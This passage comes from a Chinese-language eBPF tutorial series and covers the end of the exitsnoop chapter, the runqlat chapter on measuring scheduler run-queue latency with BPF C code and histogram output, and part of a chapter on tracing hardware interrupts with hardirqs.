<li>使用 bpf_get_current_task() 函数获取当前任务的 task_struct 结构指针。</li>
<li>将进程相关信息填充到预留的事件结构体 e 中包括进程持续时间、PID、PPID、退出代码以及进程名称。</li>
<li>最后,使用 bpf_ringbuf_submit 函数将填充好的事件结构体 e 提交到 ring buffer之后在用户空间进行处理和输出。</li>
</ol>
<p>这个示例展示了如何使用 exitsnoop 和 ring buffer 在 eBPF 程序中捕获进程退出事件并将相关信息传输到用户空间。这对于分析进程退出原因和监控系统行为非常有用。</p>
<h2 id="compile-and-run"><a class="header" href="#compile-and-run">Compile and Run</a></h2>
<p>eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 <a href="https://github.com/eunomia-bpf/eunomia-bpf">https://github.com/eunomia-bpf/eunomia-bpf</a> 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。</p>
<p>Compile:</p>
<pre><code class="language-shell">docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest
</code></pre>
<p>Or</p>
<pre><code class="language-console">$ ecc exitsnoop.bpf.c exitsnoop.h
Compiling bpf object...
Generating export types...
Packing ebpf object and config into package.json...
</code></pre>
<p>Run:</p>
<pre><code class="language-console">$ sudo ./ecli run package.json
TIME PID PPID EXIT_CODE DURATION_NS COMM
21:40:09 42050 42049 0 0 which
21:40:09 42049 3517 0 0 sh
21:40:09 42052 42051 0 0 ps
21:40:09 42051 3517 0 0 sh
21:40:09 42055 42054 0 0 sed
21:40:09 42056 42054 0 0 cat
21:40:09 42057 42054 0 0 cat
21:40:09 42058 42054 0 0 cat
21:40:09 42059 42054 0 0 cat
</code></pre>
<h2 id="总结-7"><a class="header" href="#总结-7">总结</a></h2>
<p>本文介绍了如何使用 eunomia-bpf 开发一个简单的 BPF 程序,该程序可以监控 Linux 系统中的进程退出事件, 并将捕获的事件通过 ring buffer 发送给用户空间程序。在本文中,我们使用 eunomia-bpf 编译运行了这个例子。</p>
<p>为了更好地理解和实践 eBPF 编程,我们建议您阅读 eunomia-bpf 的官方文档:<a href="https://github.com/eunomia-bpf/eunomia-bpf">https://github.com/eunomia-bpf/eunomia-bpf</a> 。此外,我们还为您提供了完整的教程和源代码,您可以在 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 中查看和学习。希望本教程能够帮助您顺利入门 eBPF 开发,并为您的进一步学习和实践提供有益的参考。</p>
<div style="break-before: page; page-break-before: always;"></div><h1 id="ebpf-入门开发实践教程九捕获进程调度延迟以直方图方式记录"><a class="header" href="#ebpf-入门开发实践教程九捕获进程调度延迟以直方图方式记录">eBPF 入门开发实践教程九:捕获进程调度延迟,以直方图方式记录</a></h1>
<p>eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。</p>
<p>runqlat 是一个 eBPF 工具,用于分析 Linux 系统的调度性能。具体来说runqlat 用于测量一个任务在被调度到 CPU 上运行之前在运行队列中等待的时间。这些信息对于识别性能瓶颈和提高 Linux 内核调度算法的整体效率非常有用。</p>
<h2 id="runqlat-原理"><a class="header" href="#runqlat-原理">runqlat 原理</a></h2>
<p>本教程是 eBPF 入门开发实践系列的第九部分,主题是 &quot;捕获进程调度延迟&quot;。在此,我们将介绍一个名为 runqlat 的程序,其作用是以直方图的形式记录进程调度延迟。</p>
<p>Linux 操作系统使用进程来执行所有的系统和用户任务。这些进程可能被阻塞、杀死、运行,或者正在等待运行。处在后两种状态的进程数量决定了 CPU 运行队列的长度。</p>
<p>进程有几种可能的状态,如:</p>
<ul>
<li>可运行或正在运行</li>
<li>可中断睡眠</li>
<li>不可中断睡眠</li>
<li>停止</li>
<li>僵尸进程</li>
</ul>
<p>等待资源或其他函数信号的进程会处在可中断或不可中断的睡眠状态:进程被置入睡眠状态,直到它需要的资源变得可用。然后,根据睡眠的类型,进程可以转移到可运行状态,或者保持睡眠。</p>
<p>即使进程拥有它需要的所有资源它也不会立即开始运行。它会转移到可运行状态与其他处在相同状态的进程一起排队。CPU可以在接下来的几秒钟或毫秒内执行这些进程。调度器为 CPU 排列进程,并决定下一个要执行的进程。</p>
<p>根据系统的硬件配置,这个可运行队列(称为 CPU 运行队列)的长度可以短也可以长。短的运行队列长度表示 CPU 没有被充分利用。另一方面,如果运行队列长,那么可能意味着 CPU 不够强大,无法执行所有的进程,或者 CPU 的核心数量不足。在理想的 CPU 利用率下,运行队列的长度将等于系统中的核心数量。</p>
<p>进程调度延迟,也被称为 &quot;run queue latency&quot;,是衡量线程从变得可运行(例如,接收到中断,促使其处理更多工作)到实际在 CPU 上运行的时间。在 CPU 饱和的情况下,你可以想象线程必须等待其轮次。但在其他奇特的场景中,这也可能发生,而且在某些情况下,它可以通过调优减少,从而提高整个系统的性能。</p>
<p>我们将通过一个示例来阐述如何使用 runqlat 工具。这是一个负载非常重的系统:</p>
<pre><code class="language-shell"># runqlat
Tracing run queue latency... Hit Ctrl-C to end.
^C
usecs : count distribution
0 -&gt; 1 : 233 |*********** |
2 -&gt; 3 : 742 |************************************ |
4 -&gt; 7 : 203 |********** |
8 -&gt; 15 : 173 |******** |
16 -&gt; 31 : 24 |* |
32 -&gt; 63 : 0 | |
64 -&gt; 127 : 30 |* |
128 -&gt; 255 : 6 | |
256 -&gt; 511 : 3 | |
512 -&gt; 1023 : 5 | |
1024 -&gt; 2047 : 27 |* |
2048 -&gt; 4095 : 30 |* |
4096 -&gt; 8191 : 20 | |
8192 -&gt; 16383 : 29 |* |
16384 -&gt; 32767 : 809 |****************************************|
32768 -&gt; 65535 : 64 |*** |
</code></pre>
<p>在这个输出中我们看到了一个双模分布一个模在0到15微秒之间另一个模在16到65毫秒之间。这些模式在分布它仅仅是 &quot;count&quot; 列的视觉表示中显示为尖峰。例如读取一行在追踪过程中809个事件落入了16384到32767微秒的范围16到32毫秒</p>
<p>在后续的教程中,我们将深入探讨如何利用 eBPF 对此类指标进行深度跟踪和分析,以更好地理解和优化系统性能。同时,我们也将学习更多关于 Linux 内核调度器、中断处理和 CPU 饱</p>
<p>runqlat 的实现利用了 eBPF 程序它通过内核跟踪点和函数探针来测量进程在运行队列中的时间。当进程被排队时trace_enqueue 函数会在一个映射中记录时间戳。当进程被调度到 CPU 上运行时handle_switch 函数会检索时间戳,并计算当前时间与排队时间之间的时间差。这个差值(或 delta被用于更新进程的直方图该直方图记录运行队列延迟的分布。该直方图可用于分析 Linux 内核的调度性能。</p>
<h2 id="runqlat-代码实现"><a class="header" href="#runqlat-代码实现">runqlat 代码实现</a></h2>
<h3 id="runqlatbpfc"><a class="header" href="#runqlatbpfc">runqlat.bpf.c</a></h3>
<p>首先我们需要编写一个源代码文件 runqlat.bpf.c:</p>
<pre><code class="language-c">// SPDX-License-Identifier: GPL-2.0
// Copyright (c) 2020 Wenbo Zhang
#include &lt;vmlinux.h&gt;
#include &lt;bpf/bpf_helpers.h&gt;
#include &lt;bpf/bpf_core_read.h&gt;
#include &lt;bpf/bpf_tracing.h&gt;
#include &quot;runqlat.h&quot;
#include &quot;bits.bpf.h&quot;
#include &quot;maps.bpf.h&quot;
#include &quot;core_fixes.bpf.h&quot;
#define MAX_ENTRIES 10240
#define TASK_RUNNING 0
const volatile bool filter_cg = false;
const volatile bool targ_per_process = false;
const volatile bool targ_per_thread = false;
const volatile bool targ_per_pidns = false;
const volatile bool targ_ms = false;
const volatile pid_t targ_tgid = 0;
struct {
__uint(type, BPF_MAP_TYPE_CGROUP_ARRAY);
__type(key, u32);
__type(value, u32);
__uint(max_entries, 1);
} cgroup_map SEC(&quot;.maps&quot;);
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, u32);
__type(value, u64);
} start SEC(&quot;.maps&quot;);
static struct hist zero;
/// @sample {&quot;interval&quot;: 1000, &quot;type&quot; : &quot;log2_hist&quot;}
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, u32);
__type(value, struct hist);
} hists SEC(&quot;.maps&quot;);
static int trace_enqueue(u32 tgid, u32 pid)
{
u64 ts;
if (!pid)
return 0;
if (targ_tgid &amp;&amp; targ_tgid != tgid)
return 0;
ts = bpf_ktime_get_ns();
bpf_map_update_elem(&amp;start, &amp;pid, &amp;ts, BPF_ANY);
return 0;
}
static unsigned int pid_namespace(struct task_struct *task)
{
struct pid *pid;
unsigned int level;
struct upid upid;
unsigned int inum;
/* get the pid namespace by following task_active_pid_ns(),
* pid-&gt;numbers[pid-&gt;level].ns
*/
pid = BPF_CORE_READ(task, thread_pid);
level = BPF_CORE_READ(pid, level);
bpf_core_read(&amp;upid, sizeof(upid), &amp;pid-&gt;numbers[level]);
inum = BPF_CORE_READ(upid.ns, ns.inum);
return inum;
}
static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next)
{
struct hist *histp;
u64 *tsp, slot;
u32 pid, hkey;
s64 delta;
if (filter_cg &amp;&amp; !bpf_current_task_under_cgroup(&amp;cgroup_map, 0))
return 0;
if (get_task_state(prev) == TASK_RUNNING)
trace_enqueue(BPF_CORE_READ(prev, tgid), BPF_CORE_READ(prev, pid));
pid = BPF_CORE_READ(next, pid);
tsp = bpf_map_lookup_elem(&amp;start, &amp;pid);
if (!tsp)
return 0;
delta = bpf_ktime_get_ns() - *tsp;
if (delta &lt; 0)
goto cleanup;
if (targ_per_process)
hkey = BPF_CORE_READ(next, tgid);
else if (targ_per_thread)
hkey = pid;
else if (targ_per_pidns)
hkey = pid_namespace(next);
else
hkey = -1;
histp = bpf_map_lookup_or_try_init(&amp;hists, &amp;hkey, &amp;zero);
if (!histp)
goto cleanup;
if (!histp-&gt;comm[0])
bpf_probe_read_kernel_str(&amp;histp-&gt;comm, sizeof(histp-&gt;comm),
next-&gt;comm);
if (targ_ms)
delta /= 1000000U;
else
delta /= 1000U;
slot = log2l(delta);
if (slot &gt;= MAX_SLOTS)
slot = MAX_SLOTS - 1;
__sync_fetch_and_add(&amp;histp-&gt;slots[slot], 1);
cleanup:
bpf_map_delete_elem(&amp;start, &amp;pid);
return 0;
}
SEC(&quot;raw_tp/sched_wakeup&quot;)
int BPF_PROG(handle_sched_wakeup, struct task_struct *p)
{
if (filter_cg &amp;&amp; !bpf_current_task_under_cgroup(&amp;cgroup_map, 0))
return 0;
return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid));
}
SEC(&quot;raw_tp/sched_wakeup_new&quot;)
int BPF_PROG(handle_sched_wakeup_new, struct task_struct *p)
{
if (filter_cg &amp;&amp; !bpf_current_task_under_cgroup(&amp;cgroup_map, 0))
return 0;
return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid));
}
SEC(&quot;raw_tp/sched_switch&quot;)
int BPF_PROG(handle_sched_switch, bool preempt, struct task_struct *prev, struct task_struct *next)
{
return handle_switch(preempt, prev, next);
}
char LICENSE[] SEC(&quot;license&quot;) = &quot;GPL&quot;;
</code></pre>
<p>这其中定义了一些常量和全局变量,用于过滤对应的追踪目标:</p>
<pre><code class="language-c">#define MAX_ENTRIES 10240
#define TASK_RUNNING 0
const volatile bool filter_cg = false;
const volatile bool targ_per_process = false;
const volatile bool targ_per_thread = false;
const volatile bool targ_per_pidns = false;
const volatile bool targ_ms = false;
const volatile pid_t targ_tgid = 0;
</code></pre>
<p>这些变量包括最大映射项数量、任务状态、过滤选项和目标选项。这些选项可以通过用户空间程序设置,以定制 eBPF 程序的行为。</p>
<p>接下来,定义了一些 eBPF 映射:</p>
<pre><code class="language-c">struct {
__uint(type, BPF_MAP_TYPE_CGROUP_ARRAY);
__type(key, u32);
__type(value, u32);
__uint(max_entries, 1);
} cgroup_map SEC(&quot;.maps&quot;);
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, u32);
__type(value, u64);
} start SEC(&quot;.maps&quot;);
static struct hist zero;
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, u32);
__type(value, struct hist);
} hists SEC(&quot;.maps&quot;);
</code></pre>
<p>这些映射包括:</p>
<ul>
<li>cgroup_map 用于过滤 cgroup</li>
<li>start 用于存储进程入队时的时间戳;</li>
<li>hists 用于存储直方图数据,记录进程调度延迟。</li>
</ul>
<p>接下来是一些辅助函数:</p>
<p>trace_enqueue 函数用于在进程入队时记录其时间戳:</p>
<pre><code class="language-c">static int trace_enqueue(u32 tgid, u32 pid)
{
u64 ts;
if (!pid)
return 0;
if (targ_tgid &amp;&amp; targ_tgid != tgid)
return 0;
ts = bpf_ktime_get_ns();
bpf_map_update_elem(&amp;start, &amp;pid, &amp;ts, BPF_ANY);
return 0;
}
</code></pre>
<p>pid_namespace 函数用于获取进程所属的 PID namespace</p>
<pre><code class="language-c">static unsigned int pid_namespace(struct task_struct *task)
{
struct pid *pid;
unsigned int level;
struct upid upid;
unsigned int inum;
/* get the pid namespace by following task_active_pid_ns(),
* pid-&gt;numbers[pid-&gt;level].ns
*/
pid = BPF_CORE_READ(task, thread_pid);
level = BPF_CORE_READ(pid, level);
bpf_core_read(&amp;upid, sizeof(upid), &amp;pid-&gt;numbers[level]);
inum = BPF_CORE_READ(upid.ns, ns.inum);
return inum;
}
</code></pre>
<p>handle_switch 函数是核心部分,用于处理调度切换事件,计算进程调度延迟并更新直方图数据:</p>
<pre><code class="language-c">static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next)
{
...
}
</code></pre>
<p>首先,函数根据 filter_cg 的设置判断是否需要过滤 cgroup。然后如果之前的进程状态为 TASK_RUNNING则调用 trace_enqueue 函数记录进程的入队时间。接着函数查找下一个进程的入队时间戳如果找不到直接返回。计算调度延迟delta并根据不同的选项设置targ_per_processtarg_per_threadtarg_per_pidns确定直方图映射的键hkey。然后查找或初始化直方图映射更新直方图数据最后删除进程的入队时间戳记录。</p>
<p>接下来是 eBPF 程序的入口点。程序使用三个入口点来捕获不同的调度事件:</p>
<ul>
<li>handle_sched_wakeup用于处理 sched_wakeup 事件,当一个进程从睡眠状态被唤醒时触发。</li>
<li>handle_sched_wakeup_new用于处理 sched_wakeup_new 事件,当一个新创建的进程被唤醒时触发。</li>
<li>handle_sched_switch用于处理 sched_switch 事件,当调度器选择一个新的进程运行时触发。</li>
</ul>
<p>这些入口点分别处理不同的调度事件,但都会调用 handle_switch 函数来计算进程的调度延迟并更新直方图数据。</p>
<p>最后,程序包含一个许可证声明:</p>
<pre><code class="language-c">char LICENSE[] SEC(&quot;license&quot;) = &quot;GPL&quot;;
</code></pre>
<p>这一声明指定了 eBPF 程序的许可证类型,这里使用的是 &quot;GPL&quot;。这对于许多内核功能是必需的,因为它们要求 eBPF 程序遵循 GPL 许可证。</p>
<h3 id="runqlath"><a class="header" href="#runqlath">runqlat.h</a></h3>
<p>然后我们需要定义一个头文件<code>runqlat.h</code>,用来给用户态处理从内核态上报的事件:</p>
<pre><code class="language-c">/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
#ifndef __RUNQLAT_H
#define __RUNQLAT_H
#define TASK_COMM_LEN 16
#define MAX_SLOTS 26
struct hist {
__u32 slots[MAX_SLOTS];
char comm[TASK_COMM_LEN];
};
#endif /* __RUNQLAT_H */
</code></pre>
<h2 id="编译运行"><a class="header" href="#编译运行">编译运行</a></h2>
<p>eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 <a href="https://github.com/eunomia-bpf/eunomia-bpf">https://github.com/eunomia-bpf/eunomia-bpf</a> 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。</p>
<p>Compile:</p>
<pre><code class="language-shell">docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest
</code></pre>
<p>或者</p>
<pre><code class="language-console">$ ecc runqlat.bpf.c runqlat.h
Compiling bpf object...
Generating export types...
Packing ebpf object and config into package.json...
</code></pre>
<p>Run:</p>
<pre><code class="language-console">$ sudo ecli run examples/bpftools/runqlat/package.json -h
Usage: runqlat_bpf [--help] [--version] [--verbose] [--filter_cg] [--targ_per_process] [--targ_per_thread] [--targ_per_pidns] [--targ_ms] [--targ_tgid VAR]
A simple eBPF program
Optional arguments:
-h, --help shows help message and exits
-v, --version prints version information and exits
--verbose prints libbpf debug information
--filter_cg set value of bool variable filter_cg
--targ_per_process set value of bool variable targ_per_process
--targ_per_thread set value of bool variable targ_per_thread
--targ_per_pidns set value of bool variable targ_per_pidns
--targ_ms set value of bool variable targ_ms
--targ_tgid set value of pid_t variable targ_tgid
Built with eunomia-bpf framework.
See https://github.com/eunomia-bpf/eunomia-bpf for more information.
$ sudo ecli run examples/bpftools/runqlat/package.json
key = 4294967295
comm = rcu_preempt
(unit) : count distribution
0 -&gt; 1 : 9 |**** |
2 -&gt; 3 : 6 |** |
4 -&gt; 7 : 12 |***** |
8 -&gt; 15 : 28 |************* |
16 -&gt; 31 : 40 |******************* |
32 -&gt; 63 : 83 |****************************************|
64 -&gt; 127 : 57 |*************************** |
128 -&gt; 255 : 19 |********* |
256 -&gt; 511 : 11 |***** |
512 -&gt; 1023 : 2 | |
1024 -&gt; 2047 : 2 | |
2048 -&gt; 4095 : 0 | |
4096 -&gt; 8191 : 0 | |
8192 -&gt; 16383 : 0 | |
16384 -&gt; 32767 : 1 | |
$ sudo ecli run examples/bpftools/runqlat/package.json --targ_per_process
key = 3189
comm = cpptools
(unit) : count distribution
0 -&gt; 1 : 0 | |
2 -&gt; 3 : 0 | |
4 -&gt; 7 : 0 | |
8 -&gt; 15 : 1 |*** |
16 -&gt; 31 : 2 |******* |
32 -&gt; 63 : 11 |****************************************|
64 -&gt; 127 : 8 |***************************** |
128 -&gt; 255 : 3 |********** |
</code></pre>
<p>完整源代码请见:<a href="https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/9-runqlat">https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/9-runqlat</a></p>
<p>参考资料:</p>
<ul>
<li><a href="https://www.brendangregg.com/blog/2016-10-08/linux-bcc-runqlat.html">https://www.brendangregg.com/blog/2016-10-08/linux-bcc-runqlat.html</a></li>
<li><a href="https://github.com/iovisor/bcc/blob/master/libbpf-tools/runqlat.c">https://github.com/iovisor/bcc/blob/master/libbpf-tools/runqlat.c</a></li>
</ul>
<h2 id="总结-8"><a class="header" href="#总结-8">总结</a></h2>
<p>runqlat 是一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度。编译这个程序可以使用 ecc 工具,运行时可以使用 ecli 命令。</p>
<p>runqlat 是一种用于监控Linux内核中进程调度延迟的工具。它可以帮助您了解进程在内核中等待执行的时间并根据这些信息优化进程调度提高系统的性能。可以在 libbpf-tools 中找到最初的源代码:<a href="https://github.com/iovisor/bcc/blob/master/libbpf-tools/runqlat.bpf.c">https://github.com/iovisor/bcc/blob/master/libbpf-tools/runqlat.bpf.c</a></p>
<p>如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 或网站 <a href="https://eunomia.dev/zh/tutorials/">https://eunomia.dev/zh/tutorials/</a> 以获取更多示例和完整的教程。</p>
<div style="break-before: page; page-break-before: always;"></div><h1 id="ebpf-入门开发实践教程十在-ebpf-中使用-hardirqs-或-softirqs-捕获中断事件"><a class="header" href="#ebpf-入门开发实践教程十在-ebpf-中使用-hardirqs-或-softirqs-捕获中断事件">eBPF 入门开发实践教程十:在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件</a></h1>
<p>eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。</p>
<p>本文是 eBPF 入门开发实践教程的第十篇,在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件。
hardirqs 和 softirqs 是 Linux 内核中两种不同类型的中断处理程序。它们用于处理硬件设备产生的中断请求,以及内核中的异步事件。在 eBPF 中,我们可以使用同名的 eBPF 工具 hardirqs 和 softirqs 来捕获和分析内核中与中断处理相关的信息。</p>
<h2 id="hardirqs-和-softirqs-是什么"><a class="header" href="#hardirqs-和-softirqs-是什么">hardirqs 和 softirqs 是什么?</a></h2>
<p>hardirqs 是硬件中断处理程序。当硬件设备产生一个中断请求时,内核会将该请求映射到一个特定的中断向量,然后执行与之关联的硬件中断处理程序。硬件中断处理程序通常用于处理设备驱动程序中的事件,例如设备数据传输完成或设备错误。</p>
<p>softirqs 是软件中断处理程序。它们是内核中的一种底层异步事件处理机制用于处理内核中的高优先级任务。softirqs 通常用于处理网络协议栈、磁盘子系统和其他内核组件中的事件。与硬件中断处理程序相比,软件中断处理程序具有更高的灵活性和可配置性。</p>
<h2 id="实现原理"><a class="header" href="#实现原理">实现原理</a></h2>
<p>在 eBPF 中,我们可以通过挂载特定的 kprobe 或者 tracepoint 来捕获和分析 hardirqs 和 softirqs。为了捕获 hardirqs 和 softirqs需要在相关的内核函数上放置 eBPF 程序。这些函数包括:</p>
<ul>
<li>对于 hardirqsirq_handler_entry 和 irq_handler_exit。</li>
<li>对于 softirqssoftirq_entry 和 softirq_exit。</li>
</ul>
<p>当内核处理 hardirqs 或 softirqs 时,这些 eBPF 程序会被执行,从而收集相关信息,如中断向量、中断处理程序的执行时间等。收集到的信息可以用于分析内核中的性能问题和其他与中断处理相关的问题。</p>
<p>为了捕获 hardirqs 和 softirqs可以遵循以下步骤</p>
<ol>
<li>在 eBPF 程序中定义用于存储中断信息的数据结构和映射。</li>
<li>编写 eBPF 程序,将其挂载到相应的内核函数上,以捕获 hardirqs 或 softirqs。</li>
<li>在 eBPF 程序中,收集中断处理程序的相关信息,并将这些信息存储在映射中。</li>
<li>在用户空间应用程序中,读取映射中的数据以分析和展示中断处理信息。</li>
</ol>
<p>通过上述方法,我们可以在 eBPF 中使用 hardirqs 和 softirqs 捕获和分析内核中的中断事件,以识别潜在的性能问题和与中断处理相关的问题。</p>
<h2 id="hardirqs-代码实现"><a class="header" href="#hardirqs-代码实现">hardirqs 代码实现</a></h2>
<p>hardirqs 程序的主要目的是获取中断处理程序的名称、执行次数和执行时间,并以直方图的形式展示执行时间的分布。让我们一步步分析这段代码。</p>
<pre><code class="language-c">// SPDX-License-Identifier: GPL-2.0
// Copyright (c) 2020 Wenbo Zhang
#include &lt;vmlinux.h&gt;
#include &lt;bpf/bpf_core_read.h&gt;
#include &lt;bpf/bpf_helpers.h&gt;
#include &lt;bpf/bpf_tracing.h&gt;
#include &quot;hardirqs.h&quot;
#include &quot;bits.bpf.h&quot;
#include &quot;maps.bpf.h&quot;
#define MAX_ENTRIES 256
const volatile bool filter_cg = false;
const volatile bool targ_dist = false;
const volatile bool targ_ns = false;
const volatile bool do_count = false;
struct {
__uint(type, BPF_MAP_TYPE_CGROUP_ARRAY);
__type(key, u32);
__type(value, u32);
__uint(max_entries, 1);
} cgroup_map SEC(&quot;.maps&quot;);
struct {
__uint(type, BPF_MAP_TYPE_PERCPU_ARRAY);
__uint(max_entries, 1);
__type(key, u32);
__type(value, u64);
} start SEC(&quot;.maps&quot;);
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, struct irq_key);
__type(value, struct info);
} infos SEC(&quot;.maps&quot;);
static struct info zero;
static int handle_entry(int irq, struct irqaction *action)
{
if (filter_cg &amp;&amp; !bpf_current_task_under_cgroup(&amp;cgroup_map, 0))
return 0;
if (do_count) {
struct irq_key key = {};
struct info *info;
bpf_probe_read_kernel_str(&amp;key.name, sizeof(key.name), BPF_CORE_READ(action, name));
info = bpf_map_lookup_or_try_init(&amp;infos, &amp;key, &amp;zero);
if (!info)
return 0;
info-&gt;count += 1;
return 0;
} else {
u64 ts = bpf_ktime_get_ns();
u32 key = 0;
if (filter_cg &amp;&amp; !bpf_current_task_under_cgroup(&amp;cgroup_map, 0))
return 0;
bpf_map_update_elem(&amp;start, &amp;key, &amp;ts, BPF_ANY);
return 0;
}
}
static int handle_exit(int irq, struct irqaction *action)
{
struct irq_key ikey = {};
struct info *info;
u32 key = 0;
u64 delta;
u64 *tsp;
if (filter_cg &amp;&amp; !bpf_current_task_under_cgroup(&amp;cgroup_map, 0))
return 0;
tsp = bpf_map_lookup_elem(&amp;start, &amp;key);
if (!tsp)
return 0;
delta = bpf_ktime_get_ns() - *tsp;
if (!targ_ns)
delta /= 1000U;
bpf_probe_read_kernel_str(&amp;ikey.name, sizeof(ikey.name), BPF_CORE_READ(action, name));
info = bpf_map_lookup_or_try_init(&amp;infos, &amp;ikey, &amp;zero);
if (!info)
return 0;
if (!targ_dist) {
info-&gt;count += delta;
} else {
u64 slot;
slot = log2(delta);
if (slot &gt;= MAX_SLOTS)
slot = MAX_SLOTS - 1;
info-&gt;slots[slot]++;
}
return 0;
}
SEC(&quot;tp_btf/irq_handler_entry&quot;)
int BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action)
{
return handle_entry(irq, action);
}
SEC(&quot;tp_btf/irq_handler_exit&quot;)
int BPF_PROG(irq_handler_exit_btf, int irq, struct irqaction *action)
{
return handle_exit(irq, action);
}
SEC(&quot;raw_tp/irq_handler_entry&quot;)
int BPF_PROG(irq_handler_entry, int irq, struct irqaction *action)
{
return handle_entry(irq, action);
}
SEC(&quot;raw_tp/irq_handler_exit&quot;)
int BPF_PROG(irq_handler_exit, int irq, struct irqaction *action)
{
return handle_exit(irq, action);
}
char LICENSE[] SEC(&quot;license&quot;) = &quot;GPL&quot;;
</code></pre>
<p>这段代码是一个 eBPF 程序用于捕获和分析内核中硬件中断处理程序hardirqs的执行信息。程序的主要目的是获取中断处理程序的名称、执行次数和执行时间并以直方图的形式展示执行时间的分布。让我们一步步分析这段代码。</p>
<ol>
<li>
<p>包含必要的头文件和定义数据结构:</p>
<pre><code class="language-c">#include &lt;vmlinux.h&gt;
#include &lt;bpf/bpf_core_read.h&gt;
#include &lt;bpf/bpf_helpers.h&gt;
#include &lt;bpf/bpf_tracing.h&gt;
#include &quot;hardirqs.h&quot;
#include &quot;bits.bpf.h&quot;
#include &quot;maps.bpf.h&quot;
</code></pre>
<p>该程序包含了 eBPF 开发所需的标准头文件,以及用于定义数据结构和映射的自定义头文件。</p>
</li>
<li>
<p>定义全局变量和映射:</p>
<pre><code class="language-c">
#define MAX_ENTRIES 256
const volatile bool filter_cg = false;
const volatile bool targ_dist = false;
const volatile bool targ_ns = false;
const volatile bool do_count = false;
...
</code></pre>
<p>该程序定义了一些全局变量,用于配置程序的行为。例如,<code>filter_cg</code> 控制是否过滤 cgroup<code>targ_dist</code> 控制是否显示执行时间的分布等。此外,程序还定义了三个映射,分别用于存储 cgroup 信息、开始时间戳和中断处理程序的信息。</p>
</li>
<li>
<p>定义两个辅助函数 <code>handle_entry</code><code>handle_exit</code></p>
<p>这两个函数分别在中断处理程序的入口和出口处被调用。<code>handle_entry</code> 记录开始时间戳或更新中断计数,<code>handle_exit</code> 计算中断处理程序的执行时间,并将结果存储到相应的信息映射中。</p>
</li>
<li>
<p>定义 eBPF 程序的入口点:</p>
<pre><code class="language-c">
SEC(&quot;tp_btf/irq_handler_entry&quot;)
int BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action)
{
return handle_entry(irq, action);
}
SEC(&quot;tp_btf/irq_handler_exit&quot;)
int BPF_PROG(irq_handler_exit_btf, int irq, struct irqaction *action)
{
return handle_exit(irq, action);
}
SEC(&quot;raw_tp/irq_handler_entry&quot;)
int BPF_PROG(irq_handler_entry, int irq, struct irqaction *action)
{
return handle_entry(irq, action);
}
SEC(&quot;raw_tp/irq_handler_exit&quot;)
int BPF_PROG(irq_handler_exit, int irq, struct irqaction *action)
{
return handle_exit(irq, action);
}
</code></pre>
<p>这里定义了四个 eBPF 程序入口点,分别用于捕获中断处理程序的入口和出口事件。<code>tp_btf</code><code>raw_tp</code> 分别代表使用 BPF Type FormatBTF和原始 tracepoints 捕获事件。这样可以确保程序在不同内核版本上可以移植和运行。</p>
</li>
</ol>
<p>Softirq 代码也类似,这里就不再赘述了。</p>
<h2 id="运行代码"><a class="header" href="#运行代码">运行代码</a></h2>
<p>eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 <a href="https://github.com/eunomia-bpf/eunomia-bpf">https://github.com/eunomia-bpf/eunomia-bpf</a> 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。</p>
<p>要编译这个程序,请使用 ecc 工具:</p>
<pre><code class="language-console">$ ecc hardirqs.bpf.c
Compiling bpf object...
Packing ebpf object and config into package.json...
</code></pre>
<p>然后运行:</p>
<pre><code class="language-console">sudo ecli run ./package.json
</code></pre>
<h2 id="总结-9"><a class="header" href="#总结-9">总结</a></h2>
<p>在本章节eBPF 入门开发实践教程十:在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件)中,我们学习了如何使用 eBPF 程序捕获和分析内核中硬件中断处理程序hardirqs的执行信息。我们详细讲解了示例代码包括如何定义数据结构、映射以及 eBPF 程序入口点,以及如何在中断处理程序的入口和出口处调用辅助函数来记录执行信息。</p>
